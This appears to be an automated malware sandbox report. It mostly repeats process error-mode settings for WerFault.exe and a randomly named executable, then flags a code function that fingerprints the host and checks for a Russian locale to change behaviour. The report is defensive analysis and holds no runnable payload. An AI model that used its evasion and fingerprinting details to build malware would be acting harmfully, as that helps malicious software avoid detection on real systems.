Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX

Malware Analysis System Evasion

barindex
Contains functionality to behave differently if execute on a Russian/Kazak computer
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D048C0 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,IsUserAnAdmin,IsUserAnAdmin,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-20h], 00000419h 2_2_02D048C0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012E48C0 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,#680,#680,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-20h], 00000419h 4_2_012E48C0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E348C0 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,#680,#680,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-20h], 00000419h 5_2_00E348C0
